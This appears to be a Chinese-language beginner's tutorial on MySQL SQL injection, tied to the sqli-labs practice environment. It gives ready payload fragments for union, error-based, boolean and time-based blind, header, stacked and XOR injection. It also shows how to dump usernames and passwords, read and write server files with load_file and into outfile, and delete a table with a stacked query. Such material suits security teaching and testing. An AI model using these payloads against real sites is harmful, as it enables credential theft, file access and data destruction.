SQL注入入门

预备知识

mysql必备函数

  1. database():返回当前数据库
  2. version():返回数据库版本
  3. user():返回当前用户
  4. concat(s1,s2...,sn):字符串 s1,s2…,sn 等多个字符串合并为一个字符串,用于合并多个字符串
  5. concat_ws(x, s1,s2...,sn):同concat(s1,s2,…,sn) 函数,但是每个字符串之间要加上 x,x 可以是分隔符,用于合并多个字符串,并添加分隔符
  6. group_concat:将相同行的指定列的数据连在一起
  7. substr(s, start, length):从字符串 s 的 start 位置截取长度为 length 的子字符串
  8. ascii(s):返回字符串 s 的第一个字符的 ASCII 码
  9. if(expr,v1,v2) 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2
  10. left()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。
    left(str,length):接收两个参数:
    • str:一个字符串;
    • length:想要截取的长度,是一个正整数;
  11. right()函数同理,从右侧截取

必备语句

  1. show databases; -- 显示mysql中所有数据库名称
    
  2. show tables; -- 显示当前数据库中所有表的名称。
    show tables from database_name; -- 显示指定数据库中所有表的名称
    
  3. show columns from table_name from database_name; 
    show columns from database_name.table_name; -- 显示表中列名称。
    

几个例子

1.基本查询

mysql> select * from aa;
+------+------+
| id| name |
+------+------+
|1 | 10|
|1 | 20|
|1 | 20|
|2 | 20|
|3 | 200 |
|3 | 500 |
+------+------+

2.以id分组,把name字段的值打印在一行,逗号分隔(默认)

mysql> select id,group_concat(name) from aa group by id;
+------+--------------------+
| id| group_concat(name) |
+------+--------------------+
|1 | 10,20,20|
|2 | 20 |
|3 | 200,500|
+------+--------------------+

3.以id分组,把name字段的值打印在一行,分号分隔

mysql> select id,group_concat(name separator ';') from aa group by id;
+------+----------------------------------+
| id| group_concat(name separator ';') |
+------+----------------------------------+
|1 | 10;20;20 |
|2 | 20|
|3 | 200;500 |

mysql的全局变量

@@datadir 数据库存储路径
@@basedir mysql安装路径

几个常用符号的ASCII码

16进制 符号
0x3a :
0x7e ~

MySQL中3种注释风格

单行注释:#后面直接加注释 #this is a comment
多行注释:/*注释内容*/中间可以跨行
单行注释:-- 后面必须要加空格

内联注释:/*!注释内容*/
内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/*!...*/中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别执行。

详细可参考以下博客:

mysql show命令用法 - 凡_仁 - 博客园 (cnblogs.com)

联合查询注入

information_schema是MySQL中简单的信息数据库,里面都是视图,不是表,所以没有具体文件,在这个数据库里面有以下几个比较敏感的视图

视图名 视图作用 视图下的重要字段
schemata 数据库信息 schema_name(数据库名)
tables 数据库和表的关系 table_schema(数据库名称)、 table_name(表名)
columns 表和列的关系 table_schema(数据库名)、 column_name(列名)、table_name(表名)

为表示方便,下面只给出union select部分的sql语句。

(1)information_schema数据库中的schemata视图里存放的是数据库的相关信息,里面有个字段叫做schema_name,表示数据库名,于是可以构造以下语句用于查询数据库名称:

...union select 1,group_concat(schema_name),3 from  information_schema.schemata

由此查到了所有数据库名。

(2)information_schema数据库中的tables视图存放的是数据库和表的关系,其中有两个字段:table_schema表示数据库名称,table_name表示表名。在这个视图里可以查到某个数据库中有哪些表,于是可以构造以下语句用于查询指定数据库下的所有表名:

...union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='上一步查到的某个数据库'

由此查到了目标数据库下的所有表名。

(3)information_schema数据库中的columns视图存放的是表和列的关系,其中有三个字段:table_schema表示数据库名、column_name表示列名、table_name表示表名。在这个视图里可以查到某个数据库中的某个表下有哪些列,于是可以构造以下语句用于查询指定数据库指定表下的所有列名:

...union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'

由此查到了目标表下的所有列名。

(4)查到了列和表的具体信息,接下来查询具体数据
基本语句:select 列名 from 表 where 条件

...union select 1,group_concat(id,0x3a,username,0x3a,password),3 from users -- 0x3a表示冒号

MYSQL基本了解:mysql中information_schema说明 - 一叶扁舟_test - 博客园 (cnblogs.com)

双查询注入:sqli-labs(5) - N0lan - 博客园 (cnblogs.com)

报错注入

报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。

通过extractvalue()

extractvalue(xml_frag, xpath_expr)

extractvalue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

(1)查数据库名:

...and extractvalue(1,concat(0x7e,(select database())))...
或
...union select 1,extractvalue(1,concat(0x7e,(select database())))...

注意:concat里面的查询语句要用括号包起来

(2)查表名:

...and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)))...
或
...union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))...

注意:有时只能输出一行,可用limit 0,1限制输出行数,然后自行更改第一个参数

(3)查列名:

...and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='目标表' limit 0,1)))...
或
...union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='目标表' limit 0,1)))...

注意:有时只能输出一行,可用limit 0,1限制输出行数,然后自行更改第一个参数

(4)查具体数据:

...and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))...
或
...union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1)))...

有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位。

这里查询前5位示意:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘\#’,substring((select database()),1,5))))

通过updatexml()

updatexml()函数与extractvalue()类似,报错方式相同,是更新xml文档的函数。

语法:updatexml(目标xml文档,xml路径,更新的内容)

查数据库名:
...and updatexml(1,concat(0x7e,(select database())),1)...
注意:concat里面的查询语句要用括号包起来

(1)查表名:

...and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)...

注意:有时只能输出一行,可用limit 0,1限制输出行数,然后自行更改第一个参数

(2)查列名:

...and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='目标表' limit 0,1)),1)...

(3)查具体数据:

...and updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)...

extractvalue()能查询字符串的最大长度也为32

通过concat+rand()+group_by()导致主键重复

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

rand():生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字

floor():对任意正或者负的十进制值向下取整

(1)查表名:

...union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select table_name from information_schema.tables where table_schema=database() limit 0,1))

(2)查列名:

union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select column_name from information_schema.columns where table_name='user' limit 0,1))

盲注

布尔盲注

length():返回字符串长度

mid(),substr()或substring():三个参数,用于截取字符串,第一个参数为要截取的字符串,第二、第三个参数分别指定起始位置和截取长度

ascii()和ord():返回单个字符的ASCII码

(1)判断数据库名长度:

...or (select length(database()))=? --+

通过改变?的数值,来判断是否正确,若页面回显,即条件为真,即长度为真

(2)查数据库名:

...or (select ascii(substr(database(),1,1)))=? --+

改变?处的ascii值并根据是否回显判断是否正确,改变substr()函数的第二个参数来截取第几个字母,需要的字母个数已由上一步查出。

(3)查表名:

...or (select ascii(substr((table_name),1,1)) from information_schema.tables where table_schema=database() limit 0,1)=? --+

通过修改?的值并根据页面回显判断是否正确,通过修改substr()函数第二个参数来切换第几个字母,通过修改limit第一个参数来切换行

预处理——判断长度:

...or (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())=? --+

通过修改?的值并根据页面回显判断长度是否正确(注意:group_concat()函数的默认分隔符逗号也算一个字符,系统计算长度时也包括它)

...or (select ascii(substr((group_concat(table_name)),1,1)) from information_schema.tables where table_schema=database())=? --+

通过修改?的值并根据页面回显判断是否正确,通过修改substr()函数第二个参数来切换第几个字母(免去了换行的麻烦)

(4)查列名:
同上

(5)查具体数据:
预处理——判断长度:

...or (select length(group_concat(username,0x3a,password)) from users)=?--+

通过修改?的值并根据页面回显判断长度是否正确

...or (select ascii(substr((group_concat(username,0x3a,password)),1,1)) from users)=? --+

通过修改?的值并根据页面回显判断是否正确,通过修改substr()函数第二个参数来切换第几个字母

时间盲注

if(expr,v1,v2):如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2。

sleep(n):休眠n秒

(1)判断数据库名长度:

...or if((select length(database()))>?,sleep(2),0)--+

通过改变?的数值,来判断是否正确,若页面延迟,即条件为真,即长度为真

(2)查数据库名:

...or if((select ascii(substr(database(),1,1)))=?,sleep(2),0)--+

改变?处的ascii值并根据是否延迟判断是否正确,改变substr()函数的第二个参数来截取第几个字母,需要的字母个数已由上一步查出。

(3)查表名:

...or if((select ascii(substr(group_concat(table_name),1,1)) from information_schema.tables where table_schema=database())>?,sleep(2),0) --+

改变?处的ascii值并根据是否延迟判断是否正确,改变substr()函数的第二个参数来截取第几个字母,需要的字母个数类似第一步可查出。

(4)查列名:

同上

(5)查具体数据:

预处理——判断长度:

...or if((select length(group_concat(username,0x3a,password)) from users)=?,sleep(2),0)--+

通过修改?的值并根据页面延迟判断长度是否正确

...or if((select ascii(substr((group_concat(username,0x3a,password)),1,1)) from users)=? ,sleep(2),0)--+

通过修改?的值并根据页面延迟判断是否正确,通过修改substr()函数第二个参数来切换第几个字母

cookie注入

建议参考:cookie注入原理详解(一) - tooltime - 博客园 (cnblogs.com)

referer注入&uagent注入

同cookie注入

闭合骚操作:
假设sql语句为:

INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('$uagent', '$IP', $uname)

若对uagent进行注入VALUES (‘‘and (此处可自由发挥) and’’, ‘$IP’, $uname)
即uagent为:‘and (此处可自由发挥) and’

读写文件

1、load_file()导出文件
load_file(file_name):读取文件并返回该文件内容作为一个字符串。

使用条件:
A:必须有权限读取并且文件完全可读
B:预读取文件必须在服务器上
C:必须指定文件完整路径
D:预读取文件必修小于max_allowed_packet

如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限,在 windows 下,如果NTFS设置得当,是不能读取相关的文件的,当遇到只有administrators才能访问的文件,users就别想load_file出来。

在实际的注入中,我们有两个难点需要解决: 绝对物理路径构造有效的畸形语句 (报错爆出绝对路径) 在很多PHP程序中,当提交一个错误的Query,如果 display_errors=on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务器的安全将受到严重的威胁。

2、导入到文件:
into outfile
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE 权限,才能使用此语法。file_name 不能是一个已经存在的文件。

@@datadir 数据库存储路径
@@basedir mysql安装路径

(1)@@secure_file_priv
这个参数主要用来限制数据的导入导出效果(load data, into outfile等)。如果这个参数值为NULL,那么mysql会禁止用户进行导入导出操作;如果这个参数是一个具体的目录名,那么数据的导入导出只能在该目录下进行;如果这个参数为空,那么导入导出的文件位置将不受限制。

该参数的设置,可以在my.cnf配置文件中修改,而在搭建的SQLi-Labs环境中下需要在配置的phpstudy环境中修改,具体修改方法因配置环境而异,此处不作讲解。

(2)@@datadir
这个参数是MySql存放数据文件的目录,也是导入导出操作的相对路径

(3)PrivateTmp
使用Systemd进程作为启动进程的linux系统,其子进程都会有一个属性叫PrivateTmp,用于设置是否使用私有的tmp目录。

读文件:

...union select 1,2,load_file("文件绝对路径")

但上面读出来的字符有些会被转义,所以用

...union select 1,2,hex(load_file("文件绝对路径"))

注意文件路径里面要用双反斜杠,因为其中一个会被转义

导入到文件:

...union select 1,2,3 into outfile("文件路径")

路径同样要用双反斜杠

堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

相关语句

(1)show databases:列出 MySQL 数据库管理系统的数据库列表。

(2)show tables:显示当前数据库的所有表

(3)show columns from 数据表:显示数据表的属性,属性类型,主键信息 ,是否为 NULL,默认值等其他信息。

(4)添加列:alter table 表名 add column 列名 varchar(30);

(5)修改列名: alter table 表名 change 原列名 新列名 数据类型;

(6)修改表名:rename table 原表名 to 新表名alter table 原表名 rename to 新表名

(7)定义预处理语句

PREPARE stmt_name FROM preparable_stmt;

(8)执行预处理语句

EXECUTE stmt_name [USING @var_name [, @var_name] ...];

(9)删除(释放)定义

{DEALLOCATE | DROP} PREPARE stmt_name;

异或注入

异或:不同为1,相同为0

1^1=0

0^0=0

1^0=1

根据1^0=1,即一真一假进行异或结果为真,这时我们可以在1的位置做手脚:构造(ascii(substr((database()),1,1))=?)^0。若构造的式子结果为真,则异或结果为真,页面可正常回显;若构造的式子结果为假,则异或结果为假,页面显示错误,这就形成了另一个意义上的布尔盲注。

你可能感兴趣的:(Web安全,sql,mysql,安全,web安全)